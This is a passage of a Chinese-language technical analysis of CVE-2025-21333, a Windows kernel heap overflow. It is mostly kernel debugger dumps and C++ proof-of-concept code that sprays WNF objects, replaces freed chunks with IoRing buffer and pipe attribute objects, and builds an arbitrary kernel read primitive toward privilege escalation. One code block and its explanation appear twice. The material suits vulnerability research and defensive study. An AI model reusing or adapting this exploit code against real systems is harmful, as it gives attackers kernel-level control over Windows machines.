ffffae04`c83857a0 41414141`41414141 41414141`41414141
ffffae04`c83857b0 20666e57`0b050000 b6870e75`eb10b15c 
ffffae04`c83857c0 00000030`00100904 00000001`00000030
ffffae04`c83857d0 41414141`4141414141414141`41414141 
ffffae04`c83857e0 41414141`41414141 41414141`41414141
ffffae04`c83857f0 41414141`4141414141414141`41414141 
ffffae04`c8385800 20666e57`0b050000 b6870e75`eb10beec 
ffffae04`c8385810 00000030`0010090400000001`00000030 
ffffae04`c8385820 41414141`41414141 41414141`41414141
ffffae04`c8385830 41414141`4141414141414141`41414141 
ffffae04`c8385840 41414141`41414141 41414141`41414141
ffffae04`c8385850 20666e57`0b050000 b6870e75`eb10bebc 
ffffae04`c8385860 00000030`00100904 00000001`00000030
ffffae04`c8385870 41414141`4141414141414141`41414141 
ffffae04`c8385880 41414141`41414141 41414141`41414141
ffffae04`c8385890 41414141`4141414141414141`41414141 
ffffae04`c83858a0 20666e57`0b050000 b6870e75`eb10be4c 
ffffae04`c83858b0 00000030`0010090400000001`00000030 
ffffae04`c83858c0 41414141`41414141 41414141`41414141
ffffae04`c83858d0 41414141`4141414141414141`41414141 
ffffae04`c83858e0 41414141`41414141 41414141`41414141
ffffae04`c83858f0 20666e57`0b050000 b6870e75`eb10be1c 
ffffae04`c8385900 00000030`00100904 00000001`00000030
ffffae04`c8385910 41414141`4141414141414141`41414141 
ffffae04`c8385920 41414141`41414141 41414141`41414141
ffffae04`c8385930 41414141`4141414141414141`41414141
[...]

溢出后,WNF_STATE_DATA包含DataSize和AllocatedSize的唯一值,主体中有一个增量值(例如,0x0、0x1、0x2、0x3 , ... )。第一个对象的DataSize /AllocatedSize = 0x10040和唯一值为0x0。第二个对象的DataSize/AllocatedSize = 0xfff0和唯一值为0x1。第三个对象的DataSize/AllocatedSize = 0xffa0和唯一值为0x2 ,依此类推。

1:kd> p 
vkrnlintvsp!VkiRootAdjustSecurityDescriptorForVmwp + 0x15d:
fffff800`17ad9b29 40f6de neg sil 
1:kd> dq ffffae04`c8385630 L100 
ffffae04`c8385630 00000001`fff00002 001f0003`ffe80000 
ffffae04`c8385640 05000000`00000501 cb493b06`00000015
ffffae04`c8385650 6593c385`d7a83a5f 00000000`000003eb 
ffffae04`c8385660 00000000`00000000 00000000`00000000
ffffae04`c8385670 20666e57`0305000042424242`42424242 
ffffae04`c8385680 00010040`00000000 00000001`00010040
ffffae04`c8385690 00000000`0000000000000000`00000000 
ffffae04`c83856a0 00000000`00000000 00000000`00000000
ffffae04`c83856b0 00000000`0000000000000000`00000000 
ffffae04`c83856c0 20666e57`03050000 42424242`42424242
ffffae04`c83856d0 0000fff0`0000000000000001`0000fff0 
ffffae04`c83856e0 00000000`00000001 00000000`00000000
ffffae04`c83856f0 00000000`0000000000000000`00000000 
ffffae04`c8385700 00000000`00000000 00000000`00000000
ffffae04`c8385710 20666e57`0305000042424242`42424242 
ffffae04`c8385720 0000ffa0`00000000 00000001`0000ffa0 
ffffae04`c8385730 00000000`0000000200000000`00000000 
ffffae04`c8385740 00000000`00000000 00000000`00000000
ffffae04`c8385750 00000000`0000000000000000`00000000 
ffffae04`c8385760 20666e57`03050000 42424242`42424242
ffffae04`c8385770 0000ff50`0000000000000001`0000ff50 
ffffae04`c8385780 00000000`00000003 00000000`00000000
ffffae04`c8385790 00000000`0000000000000000`00000000 
ffffae04`c83857a0 00000000`00000000 00000000`00000000
ffffae04`c83857b0 20666e57`0305000042424242`42424242 
ffffae04`c83857c0 0000ff00`00000000 00000001`0000ff00 
ffffae04`c83857d0 00000000`0000000400000000`00000000 
ffffae04`c83857e0 00000000`00000000 00000000`00000000
ffffae04`c83857f0 00000000`0000000000000000`00000000 
ffffae04`c8385800 20666e57`03050000 42424242`42424242
ffffae04`c8385810 0000feb0`0000000000000001`0000feb0 
ffffae04`c8385820 00000000`00000005 00000000`00000000
ffffae04`c8385830 00000000`0000000000000000`00000000 
ffffae04`c8385840 00000000`00000000 00000000`00000000
ffffae04`c8385850 20666e57`0305000042424242`42424242 
ffffae04`c8385860 0000fe60`00000000 00000001`0000fe60 
ffffae04`c8385870 00000000`0000000600000000`00000000 
ffffae04`c8385880 00000000`00000000 00000000`00000000
ffffae04`c8385890 00000000`0000000000000000`00000000 
ffffae04`c83858a0 20666e57`03050000 42424242`42424242
ffffae04`c83858b0 0000fe10`0000000000000001`0000fe10
ffffae04`c83858c0 00000000`00000007 00000000`00000000
ffffae04`c83858d0 00000000`0000000000000000`00000000 
ffffae04`c83858e0 00000000`00000000 00000000`00000000
ffffae04`c83858f0 20666e57`0305000042424242`42424242 
ffffae04`c8385900 0000fdc0`00000000 00000001`0000fdc0 
ffffae04`c8385910 00000000`0000000800000000`00000000 
ffffae04`c8385920 00000000`00000000 00000000`00000000
ffffae04`c8385930 00000000`0000000000000000`00000000 
ffffae04`c8385940 20666e57`03050000 42424242`42424242
ffffae04`c8385950 0000fd70`0000000000000001`0000fd70 
ffffae04`c8385960 00000000`00000009 00000000`00000000
ffffae04`c8385970 00000000`0000000000000000`00000000 
ffffae04`c8385980 00000000`00000000 00000000`00000000
ffffae04`c8385990 20666e57`0305000042424242`42424242 
ffffae04`c83859a0 0000fd20`00000000 00000001`0000fd20 
ffffae04`c83859b0 00000000`000000000000000`00000000 
ffffae04`c83859c0 00000000`00000000 00000000`00000000
ffffae04`c83859d0 00000000`0000000000000000`00000000 
[...]

随后,概念验证 (PoC) 使用NtQueryWnfStateData来检索WNF_STATE_DATA对象的内容。

如果对象损坏,第一次调用outsize = 0x30会返回无效结果。PoC 对主体中的值执行了额外检查,并将其添加到损坏的std::vector 中。

然后,PoC 对损坏的WNF_STATE_DATA对象进行排序(可以跳过此步骤,因为它对于调试很有用)并检索具有最大DataSize/AllocatedSize值的对象,并将其存储在max_corrupted变量中。

最后,它通过在max_corrupted WNF对象上调用NtQueryWnfStateData打印出可以从堆中泄漏的所有内容(这最后一部分可以跳过,主要用于调试)。

intmain(){
[...]
std::vector<std::shared_ptr<WNF_STATE_CORRUPTED>> corrupted;
[...]
memset(buffer, 0x00x10040);
//retrieving corrupted WNFs
for (auto& state : statenames2) {
    stamp = 0;
    outsize = 0x30;
    result = fNtQueryWnfStateData(&state, NULLNULL, &stamp, buffer, &outsize);
    if (result != 0) {
        //std::cout << "NtQueryWnfStateData returned " << std::hex << result << std::endl;
        //std::cout << "outsize: " << std::hex << outsize << std::endl;
        result = fNtQueryWnfStateData(&state, NULLNULL, &stamp, buffer, &outsize);
        //std::cout << "NtQueryWnfStateData returned second time " << std::hex << result << std::endl;
        if (reinterpret_cast<DWORD64*>(buffer)[0] != 0x4141414141414141) {
            //std::cout << "found corrupted WNF: " << std::hex << state.Data[0] << state.Data[1] << "val: " << std::hex << reinterpret_cast<DWORD64*>(buffer)[0] << std::endl;
            auto p = std::make_shared<WNF_STATE_CORRUPTED>(WNF_STATE_CORRUPTED{ state, reinterpret_cast<DWORD64*>(buffer)[0],outsize });
            corrupted.emplace_back(p);
        }
    }
}
std::sort(corrupted.begin(), corrupted.end(), [](std::shared_ptr<WNF_STATE_CORRUPTED> a, std::shared_ptr<WNF_STATE_CORRUPTED> b) {
    return a->val < b->val;
    });
//std::cout << "ordered corrupted WNFs" << std::endl;

for (auto& c : corrupted) {
    //std::cout << "state: " << std::hex << c->state.Data[0] << c->state.Data[1] << "tval: " << std::hex << c->val << "tdataSize: " << std::hex << c->dataSize << std::endl;
}

auto it = std::max_element(corrupted.begin(), corrupted.end(), [](std::shared_ptr<WNF_STATE_CORRUPTED> a, std::shared_ptr<WNF_STATE_CORRUPTED> b) {
    return a->dataSize < b->dataSize;
    });

if (it == corrupted.end()) {
    std::cout << "no corrupted WNF" << std::endl;
    exit(0);
}

std::cout << "max corrupted WNF" << std::endl;
std::cout << "state: " << std::hex << it->get()->state.Data[0] << it->get()->state.Data[1] << "tval: " << std::hex << it->get()->val << "tdataSize: " << std::hex << it->get()->dataSize << std::endl;

auto max_corrupted = it->get();
auto max_corrupted_datasize = max_corrupted->dataSize;
memset(buffer, 0x00x10040);

std::cout << "calling NtqueryWnfStateData on max_corrupted with max_corrupted->state " << std::hex << max_corrupted->state.Data[0] << max_corrupted->state.Data[0] << " and datasize" << max_corrupted->dataSize << std::endl;
result = fNtQueryWnfStateData(&(max_corrupted->state), NULLNULL, &stamp, buffer, &(max_corrupted->dataSize));
if (result != 0) {
    std::cout << "NtQueryWnfStateData on max_corrupted returned " << std::hex << result << std::endl;
    exit(0);
}
std::cout << "buffer content" << std::endl;

//std::cout << Hexdump(buffer, 0x150) << std::endl << std::endl;
[...]
}

该函数负责分配一个新的IORING_OBJECT.RegBuffers。请注意第 33 行的分配,其标签为BRrI ,大小为8 * new_regBuffersCount 。new_regBuffersCount是用户可控制的(它对应于传递给BuildIoRingRegisterBuffers() 的count参数),并且似乎只有一个要求:最终大小必须小于0xFFFFFFFF(第 15 行)。

这意味着可以创建大小为0x50的BRrI对象。

注意:如果唯一条件是最终大小必须小于 0xFFFFFFFF,那么这将使其成为一个有趣的对象。它可能允许任意读/写原语利用 LFH 堆和 VS 堆中任意大小的堆溢出或释放后使用漏洞 (UAF)。(这只是基于对伪代码的快速审查而得出的结论,尚未得到验证。)

破坏有趣的物体

此时的想法如下:

  1. 使用损坏的WNF_STATE_DATA对象的相对读访问权限来定位两个 可以替换的可控WNF_STATE_DATA对象。

  2. 释放第一个WNF_STATE_DATA对象并分配一堆BRrI 对象,确保其中一个对象将替换释放的WNF_STATE_DATA对象。

  3. 释放第二个WNF_STATE_DATA对象并分配一堆PipeAttribute 对象,确保其中一个对象将替换释放的WNF_STATE_DATA对象。

  4. 使用损坏的WNF_STATE_DATA对象的相对读/写功能将用户模式指针写入BRrI对象并读取PipeAttribute.Flink的内核地址。

为了实现这一点,PoC 被修改为在开始时调用prepare()函数。

BOOL prepare(){
    iorings = new PUIORING[IORINGS_SIZE];
    HRESULT result;
    IORING_CREATE_FLAGS flags;
    spray_pipes = new SPRAY_PIPE[SPRAY_PIPE_COUNT];

    for (int i = 0; i < SPRAY_PIPE_COUNT; i++) {
        if (!CreatePipe(&spray_pipes[i].pipe_read, &spray_pipes[i].pipe_write, NULLNULL)) {
            std::cout << "CreatePipe failed with error " << GetLastError() << " index " << i << std::endl;
        }
    }

    attribute = newunsignedchar[0x1000];
    memset(attribute, 0x410x1000);
    attribute[0] = 'Z';
    attribute[1] = '�';
    output = newunsignedchar[output_size];
    memset(output, 0x00x100);

    flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
    flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;

    fake_bufferentry = reinterpret_cast<IOP_MC_BUFFER_ENTRY*>(VirtualAlloc(NULL0x5000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE));
    VirtualLock(fake_bufferentry, 0x5000);
    fake_bufferentry = reinterpret_cast<IOP_MC_BUFFER_ENTRY*>(reinterpret_cast<unsignedchar*>(fake_bufferentry) + 0x3000);
    memset(fake_bufferentry, 0sizeof(IOP_MC_BUFFER_ENTRY));
    //pre-register buffer array with len=REGBUFFERCOUNT
    preregBuffers[0].Address = VirtualAlloc(NULL0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (!preregBuffers[0].Address)
    {
        printf("[-] Failed to allocate prereg buffern");
        return FALSE;
    }
    memset(preregBuffers[0].Address, 0x410x100);
    preregBuffers[0].Length = 0x10;

    for (int i = 0; i < IORINGS_SIZE; i++) {
        result = CreateIoRing(IORING_VERSION_3, flags, 0x100000x20000reinterpret_cast<HIORING*>(&(iorings[i])));
        if (!SUCCEEDED(result))
        {
            printf("[-] Failed creating IO ring handle: 0x%xn", result);
        }
        //printf("[+] Created IoRing. puioring=0x%pn", iorings[i]);

        result = BuildIoRingRegisterBuffers(reinterpret_cast<HIORING>(iorings[i]), REGBUFFERCOUNT, preregBuffers, 0);
        if (!SUCCEEDED(result))
        {
            printf("[-] Failed BuildIoRingRegisterBuffers: 0x%xn", result);
        }
    }

    // Create named pipes for the input/output of the I/O operations
    // and open client handles for them
    //
    [...]

    return TRUE;
}

该函数首先使用CreatePipe()分配0x500 个管道(稍后将用于喷射PipeAttribute对象)。然后,它使用CreateIoRing()分配0x500 个IORING_OBJECT结构,并为每个结构调用BuildIoRingRegisterBuffers() ,并将count = 0(稍后将分配大小为0x50的BRrI对象)。

接下来,它创建命名管道,这将有助于稍后利用任意读/写原语,如I/O 环技术中所述。

将max_corrupted WNF_STATE_DATA的内容读入缓冲区后,该函数会找到一个合适的WNF_STATE_DATA对象,该对象可用于控制PipeAttribute对象和RegBuffers对象(RegBuffers对象指的是BRrI对象)。此WNF_STATE_DATA对应于regBuffersControllerWNF ,通常与max_corrupted相同。

然后,它在regBuffersControllerWNF之后找到另外两个WNF_STATE_DATA对象,并用0x4343434343434343覆盖一个,用0x444444444444444覆盖另一个。

最后,它通过在regBuffersControllerWNF上调用NtUpdateWnfStateData()将所有内容刷新到内核。

BOOL prepare(){
    iorings = new PUIORING[IORINGS_SIZE];
    HRESULT result;
    IORING_CREATE_FLAGS flags;
    spray_pipes = new SPRAY_PIPE[SPRAY_PIPE_COUNT];

    for (int i = 0; i < SPRAY_PIPE_COUNT; i++) {
        if (!CreatePipe(&spray_pipes[i].pipe_read, &spray_pipes[i].pipe_write, NULLNULL)) {
            std::cout << "CreatePipe failed with error " << GetLastError() << " index " << i << std::endl;
        }
    }

    attribute = newunsignedchar[0x1000];
    memset(attribute, 0x410x1000);
    attribute[0] = 'Z';
    attribute[1] = '�';
    output = newunsignedchar[output_size];
    memset(output, 0x00x100);

    flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
    flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;

    fake_bufferentry = reinterpret_cast<IOP_MC_BUFFER_ENTRY*>(VirtualAlloc(NULL0x5000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE));
    VirtualLock(fake_bufferentry, 0x5000);
    fake_bufferentry = reinterpret_cast<IOP_MC_BUFFER_ENTRY*>(reinterpret_cast<unsignedchar*>(fake_bufferentry) + 0x3000);
    memset(fake_bufferentry, 0sizeof(IOP_MC_BUFFER_ENTRY));
    //pre-register buffer array with len=REGBUFFERCOUNT
    preregBuffers[0].Address = VirtualAlloc(NULL0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (!preregBuffers[0].Address)
    {
        printf("[-] Failed to allocate prereg buffern");
        return FALSE;
    }
    memset(preregBuffers[0].Address, 0x410x100);
    preregBuffers[0].Length = 0x10;

    for (int i = 0; i < IORINGS_SIZE; i++) {
        result = CreateIoRing(IORING_VERSION_3, flags, 0x100000x20000reinterpret_cast<HIORING*>(&(iorings[i])));
        if (!SUCCEEDED(result))
        {
            printf("[-] Failed creating IO ring handle: 0x%xn", result);
        }
        //printf("[+] Created IoRing. puioring=0x%pn", iorings[i]);

        result = BuildIoRingRegisterBuffers(reinterpret_cast<HIORING>(iorings[i]), REGBUFFERCOUNT, preregBuffers, 0);
        if (!SUCCEEDED(result))
        {
            printf("[-] Failed BuildIoRingRegisterBuffers: 0x%xn", result);
        }
    }

    // Create named pipes for the input/output of the I/O operations
    // and open client handles for them
    //
    [...]

    return TRUE;
}

该函数首先使用CreatePipe()分配0x500 个管道(稍后将用于喷射PipeAttribute对象)。然后,它使用CreateIoRing()分配0x500 个IORING_OBJECT结构,并为每个结构调用BuildIoRingRegisterBuffers() ,并将count = 0(稍后将分配大小为0x50的BRrI对象)。

接下来,它创建命名管道,这将有助于稍后利用任意读/写原语,如I/O 环技术中所述。

将max_corrupted WNF_STATE_DATA的内容读入缓冲区后,该函数会找到一个合适的WNF_STATE_DATA对象,该对象可用于控制PipeAttribute对象和RegBuffers对象(RegBuffers对象指的是BRrI对象)。此WNF_STATE_DATA对应于regBuffersControllerWNF ,通常与max_corrupted相同。

然后,它在regBuffersControllerWNF之后找到另外两个WNF_STATE_DATA对象,并用0x4343434343434343覆盖一个,用0x444444444444444覆盖另一个。

最后,它通过在regBuffersControllerWNF上调用NtUpdateWnfStateData()将所有内容刷新到内核。

[...]
    result = fNtQueryWnfStateData(&(max_corrupted->state), NULLNULL, &stamp, buffer, &(max_corrupted->dataSize));
    if (result != 0) {
        std::cout << "NtQueryWnfStateData on max_corrupted returned " << std::hex << result << std::endl;
        exit(0);
    }
    [...]
    auto ptr2 = buffer + 0x30;
    while (reinterpret_cast<DWORD64*>(ptr2)[0] == 0x0) {
        ptr2 += 0x8;
    }
    auto found_wnf = 0;
    while (reinterpret_cast<unsignedchar*>(ptr2) < buffer + 0x10000 - 0x20) {
        ph = reinterpret_cast<POOL_HEADER*>(ptr2);
        //found WNF
        if (ph->PoolTag == 0x20666e57) {
            found_wnf = 1;
            break;
        }
        //Probably found a chunk at the end of a page. It has additional data set to 0. Skip it.
        elseif (reinterpret_cast<DWORD64*>(ptr2)[0] == 0) {
            while (reinterpret_cast<DWORD64*>(ptr2)[0] == 0 && reinterpret_cast<unsignedchar*>(ptr2) < buffer + 0x10000 - 0x20) {
                ptr2 += 0x8;
            }
        }
        else {
            ptr2 += 0x50;
        }
    }

    if (!found_wnf) {
        std::cout << "[-] not found WNF to be freed and replaced with RegBuffers" << std::endl;
        exit(0);
    }

    std::cout << "[+] found WNF to be freed and replaced with RegBuffers" << std::endl;

    offset = reinterpret_cast<unsignedchar*>(ptr2) - buffer;

    std::cout << "offset " << std::hex << offset << std::endl;

    if (offset + TARGET_SIZE < WNF_MAX_DATA_SIZE) {
        regBuffersControllerWNF = max_corrupted;
    }
    else {
        ph = reinterpret_cast<POOL_HEADER*>(ptr2);
        data = reinterpret_cast<DWORD64*>(ptr2 + sizeof(POOL_HEADER) + sizeof(WNF_STATE_DATA));

        auto c = std::find_if(corrupted.begin(), corrupted.end(), [&data](std::shared_ptr<WNF_STATE_CORRUPTED>& c) {
            return c->val == data[0];
            });
        if (c != corrupted.end()) {
            regBuffersControllerWNF = c->get();
        }
    }

    if (regBuffersControllerWNF == NULL) {
        std::cout << "no regBuffersControllerWNF found" << std::endl;
        exit(0);
    }
    [...]
    //overwriting next WNF value to understand what is to be freed
    //when freed, It will be replaced by a RegBuffers object if the exploit has success
    ph = reinterpret_cast<POOL_HEADER*>(ptr2);
    data = reinterpret_cast<DWORD64*>(ptr2 + sizeof(POOL_HEADER) + sizeof(WNF_STATE_DATA));
    data[0] = 0x4343434343434343;
    
    //doing the same for PipeAttribute
    [...]

    //overwriting next WNF value to understand what is to be freed
    //when freed, It will be replaced by a PipeAtttribute object if the exploit has success

    ph = reinterpret_cast<POOL_HEADER*>(ptr3);
    data = reinterpret_cast<DWORD64*>(ptr3 + sizeof(POOL_HEADER) + sizeof(WNF_STATE_DATA));
    data[0] = 0x4444444444444444;

    std::cout << "updating regBuffersControllerWNF" << std::endl;


    std::cout << "calling NtUpdateWnfStateData on tokenReaderWNF->state " << std::hex << regBuffersControllerWNF->state.Data[0] << regBuffersControllerWNF->state.Data[0] << " and datasize" << regBuffersControllerWNF->dataSize << std::endl;
    result = fNtUpdateWnfStateData(&(regBuffersControllerWNF->state), buffer + offset - 0x30, WNF_MAX_DATA_SIZE, 0000);
    if (result != 0) {
        std::cout << "fNtUpdateWnfStateData on max_corrupted returned " << std::hex << result << std::endl;
    }

    [...]
之后,它再次循环遍历所有分配的WNF_STATE_DATA对象,以找到包含0x4343434343434343和0x444444444444444 的对象。

[...]
std::cout << "[*] retrieving WNF with content 0x4343434343434343" << std::endl;
std::cout << "[*] retrieving WNF with content 0x4444444444444444" << std::endl;

WNF_STATE_NAME to_free_WNF = { 0 };
WNF_STATE_NAME to_free_WNF2 = { 0 };
BOOL found1 = FALSE, found2 = FALSE;
//auto max_to_free_wnfs = 0;

std::cout << "searching in statenames2" << std::endl;
for (auto& state : statenames2) {
    //stamp = 0;
    outsize = 0x30;
    result = fNtQueryWnfStateData(&state, NULLNULL, &stamp, buffer, &outsize);
    if (result != 0) {
        //std::cout << "NtQueryWnfStateData returned " << std::hex << result << std::endl;
        //std::cout << "outsize: " << std::hex << outsize << std::endl;
        result = fNtQueryWnfStateData(&state, NULLNULL, &stamp, buffer, &outsize);
        //std::cout << "NtQueryWnfStateData returned second time " << std::hex << result << std::endl;
        if (reinterpret_cast<DWORD64*>(buffer)[0] == 0x4343434343434343) {
            std::cout << "found corrupted WNF: " << std::hex << state.Data[0] << state.Data[1] << "val: " << std::hex << reinterpret_cast<DWORD64*>(buffer)[0] << std::endl;
            memcpy(&to_free_WNF, &state, sizeof(WNF_STATE_NAME));
            found1 = TRUE;
        }
        elseif (reinterpret_cast<DWORD64*>(buffer)[0] == 0x4444444444444444) {
            std::cout << "found corrupted WNF: " << std::hex << state.Data[0] << state.Data[1] << "val: " << std::hex << reinterpret_cast<DWORD64*>(buffer)[0] << std::endl;
            memcpy(&to_free_WNF2, &state, sizeof(WNF_STATE_NAME));
            found2 = TRUE;
        }
        if (found1 == TRUE && found2 == TRUE) {
            break;
        }
    }
}
[...]
std::cout << "found1 " << found1 << " found2 " << found2 << std::endl;

if (!found1 || !found2) {
    std::cout << "[-] not found WNFs to be freed" << std::endl;
    exit(0);
}

[...]

如果找到对象,它首先使用NtDeleteWnfStateData()释放包含0x4343434343434343的对象,然后使用SubmitIoRing()分配大小为0x50的0x500 个regBuffers对象。

[...]
    result = fNtDeleteWnfStateData(&to_free_WNF, NULL);
    if (result != 0) {
        std::cout << "NtDeleteWnfStateData returned " << std::hex << result << std::endl;
    }


    //creating regBuffersArray with size 0x50 in PagedPool. Hopefully one will replace the freed WNF
    for (int i = 0; i < IORINGS_SIZE; i++) {
        UINT32 submitted = 0;
        result = SubmitIoRing(reinterpret_cast<HIORING>(iorings[i]), 0, INFINITE, &submitted);
        if (!SUCCEEDED(result)) {
            printf("[-] Failed SubmitIoRing: 0x%xn", result);
            return FALSE;
        }
    }
    [...]
它执行相同的操作,用大小为0x50的PipeAttribute对象替换值为0x4444444444444444的WNF_STATE_DATA对象,并使用 IOCTL 0x11003C调用NtFsControlFile()。
[...]
result = fNtDeleteWnfStateData(&to_free_WNF2, NULL);
if (result != 0) {
    std::cout << "NtDeleteWnfStateData returned " << std::hex << result << std::endl;
}


//creating pipeAttributes with size 0x50 in PagedPool. Hopefully one will replace the freed WNF
for (int i = 0; i < SPRAY_PIPE_COUNT; i++) {
    result = fNtFsControlFile(spray_pipes[i].pipe_write,
        NULL,
        NULL,
        NULL,
        &status,
        0x11003C,
        attribute,
        attribute_size,
        output,
        output_size
    );
    if (result != 0) {
        std::cout << "[-] fNtFsControlFile failed with error 0x" << std::hex << result << std::endl;
    }
}
[...]
如果一切顺利,堆布局应该类似于以下内容。在本例中, regBuffersControllerWNF后面跟着regBuffers对象( IrRB标签)和PipeAttribute对象( NpAt标签)。

CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

5. 成功用 regBuffers 和 PIpeAttibute 对象替换 WNF_STATE_DATA 后的堆布局

此外, regBuffersControllerWNF的DataSize字段为0x1000 ,如下所示。

CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

6. regBuffersControllerWNF的数据大小

这意味着可以通过调用regBuffersControllerWNF上的NtQueryWnfStateData()和NtUpdateWnfStateData()来读取/写入regBuffers对象和PipeAttribute对象。

事实上,PoC 在regBuffersControllerWNF上再次调用NtQueryWnfStateData()来检索下一个对象的内容,并检查两个对象的标签以确认它们已被成功替换。

[...]
    result = fNtQueryWnfStateData(&(regBuffersControllerWNF->state), NULLNULL, &stamp, buffer, &(regBuffersControllerWNF->dataSize));
    if (result != 0) {
        std::cout << "NtQueryWnfStateData on regBuffersControllerWNF returned " << std::hex << result << std::endl;
        exit(0);
    }
    //std::cout << "buffer content" << std::endl;

    std::cout << Hexdump(buffer, 0x150) << std::endl << std::endl;

    //getchar();

    found1 = 0, found2 = 0;
    ptr2 = buffer;
    auto regbuffersobject_ptr = ptr2;
    auto pipeattributeobject_ptr = ptr2;

    while (ptr2 < buffer + regBuffersControllerWNF->dataSize - sizeof(POOL_HEADER)) {
        ph = reinterpret_cast<POOL_HEADER*>(ptr2);
        if (ph->PoolTag == REGBUFFERS_TAG) {
            found1 = 1;
            regbuffersobject_ptr = ptr2;
        }
        elseif (ph->PoolTag == PIPEATTRIBUTE_TAG) {
            found2 = 1;
            pipeattributeobject_ptr = ptr2;
        }
        if (found1 && found2) {
            break;
        }
        ptr2 += 0x8;
    }

    if (found1 == FALSE) {
        std::cout << "[-] regBuffers not found" << std::endl;
        exit(0);
    }

    if (found2 == FALSE) {
        std::cout << "[-] pipeAttributes not found" << std::endl;
        exit(0);
    }

    std::cout << "[+] regBuffers found and can be overwritten" << std::endl;
    std::cout << "[+] pipeAttribute found and can be read" << std::endl;
    [...]

PoC 将泄露的内容打印到屏幕上。如果两个标签都出现在屏幕上,则表示该过程成功,现在可以通过使用恶意用户模式IOP_MC_BUFFER_ENTRY结构覆盖指向IOP_MC_BUFFER_ENTRY的指针来在内核中获得任意读/写访问权限。

CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

7. PoC 显示了泄漏的 regBuffers 和 PipeAttribute 对象

获取任意读/写

此时,PoC 执行以下操作:

  • 将原始IOP_MC_BUFFER_ENTRY内核模式地址保存在original_regBufferEntry中。

  • 将PipeAttribute.Flink指针保存在pipeAttributeFlink中。

  • 通过在regBuffersControllerWNF上调用NtUpdateWnfStateData() ,用用户模式地址fake_bufferentry覆盖IOP_MC_BUFFER_ENTRY地址。

[...]
std::cout << "[+] regBuffers found and can be overwritten" << std::endl;
std::cout << "[+] pipeAttribute found and can be read" << std::endl;

//getting original kernel address of IOP_MC_BUFFER_ENTRY struct and saving in original_regBufferEntry
auto original_regBufferEntry = *(reinterpret_cast<DWORD64*>(regbuffersobject_ptr + sizeof(_POOL_HEADER)));
//getting address of PipeAttribute.ListEntry.Flink
auto pipeAttributeFlink = *(reinterpret_cast<DWORD64*>(pipeattributeobject_ptr + sizeof(_POOL_HEADER)));

auto fileObject_ptr = pipeAttributeFlink - ROOT_PIPE_ATTRIBUTE_OFFSET + FILE_OBJECT_OFFSET;
std::cout << "[*] original_regBufferEntry: " << std::hex << original_regBufferEntry << std::endl;
std::cout << "[*] pipeAttributeFlink: " << std::hex << pipeAttributeFlink << std::endl;

IOP_MC_BUFFER_ENTRY** regBuffersAddr = reinterpret_cast<PIOP_MC_BUFFER_ENTRY*>(regbuffersobject_ptr + sizeof(POOL_HEADER));

regBuffersAddr[0] = fake_bufferentry;

result = fNtUpdateWnfStateData(&(regBuffersControllerWNF->state), buffer, WNF_MAX_DATA_SIZE, 0000);
if (result != 0) {
    std::cout << "fNtUpdateWnfStateData on tokenControllerWNF returned " << std::hex << result << std::endl;
}
[...]

随后,PoC 循环遍历所有分配的IoRings对象,并针对每个对象调用KRead() 。

BOOL KRead(PVOID TargetAddress, PBYTE pOut, SIZE_T size) {
    DWORD bytesRead = 0;
    HRESULT result;
    UINT32 submittedEntries;
    IORING_CQE cqe;

    memset(fake_bufferentry, 0, sizeof(IOP_MC_BUFFER_ENTRY));
    fake_bufferentry->Address = TargetAddress;
    fake_bufferentry->Length = size;
    fake_bufferentry->Type = 0xc02;
    fake_bufferentry->Size = 0x80;
    fake_bufferentry->AccessMode = 1;
    fake_bufferentry->ReferenceCount = 1;

    auto requestDataBuffer = IoRingBufferRefFromIndexAndOffset(00);
    auto requestDataFile = IoRingHandleRefFromHandle(outputClientPipe);

    result = BuildIoRingWriteFile(targetHandle,
        requestDataFile,
        requestDataBuffer,
        size,
        0,
        FILE_WRITE_FLAGS_NONE,
        NULL,
        IOSQE_FLAGS_NONE);
    if (!SUCCEEDED(result))
    {
        printf("[-] Failed building IO ring read file structure: 0x%xn", result);
        returnFALSE;
    }

    result = SubmitIoRing(targetHandle, 1, INFINITE, &submittedEntries);
    if (!SUCCEEDED(result))
    {
        printf("[-] Failed submitting IO ring: 0x%xn", result);
        returnFALSE;
    }
    //printf("[*] submittedEntries = %dn", submittedEntries);
    //
    // Check the completion queue for the actual status code for the operation
    //
    result = PopIoRingCompletion(targetHandle, &cqe);
    if ((!SUCCEEDED(result)) || (!NT_SUCCESS(cqe.ResultCode)))
    {
        printf("[-] Failed reading kernel memory 0x%xn", cqe.ResultCode);
        returnFALSE;
    }

    BOOL res = ReadFile(outputPipe,
        pOut,
        size,
        &bytesRead,
        NULL);
    if (!res)
    {
        printf("[-] Failed to read from output pipe: 0x%xn", GetLastError());
        returnFALSE;
    }
    //printf("[+] Successfully read %d bytes from kernel address 0x%p.n", bytesRead, TargetAddress);
    return res;
}

KRead()允许从TargetAddress读取指定数量的字节( size参数),并将结果保存在pOut中。KRead ()使用的IoRing句柄是全局变量targetHandle。KRead ()通过在fake_bufferentry中设置TargetAddress和size ,然后调用适当的 API 来实现这一点,如Yarden 的文章中所述。

一旦它在pOut中收到不同于0x4141414141414141的值,这表明使用了具有用户模式IOP_MC_BUFFER_ENTRY的IoRing ,并且退出循环。 pOut中返回的值是与PipeAttribute对象关联的FILE_OBJECT的地址。

权限提升

在此阶段,PoC 首先利用任意读取来获取ntoskrnl.exe的基地址。

它通过读取npfs.sys的基地址,然后以与论文中描述的相同的方式读取nt!ExAllocatePool2的地址来实现此目的。

[...]
//get deviceObject
KRead((PVOID)(fileObject + 0x8), reinterpret_cast<PBYTE>(&deviceObject), sizeof(deviceObject));
//std::cout << "[*] deviceObject: " << std::hex << deviceObject << std::endl;

//get driverObject
KRead((PVOID)(deviceObject + 0x8), reinterpret_cast<PBYTE>(&driverObject), sizeof(driverObject));
//std::cout << "[*] driverObject: " << std::hex << deviceObject << std::endl;

//get Npfs!NpFsdCreate
KRead((PVOID)(driverObject + 0x70), reinterpret_cast<PBYTE>(&pNpFsdCreate), sizeof(pNpFsdCreate));
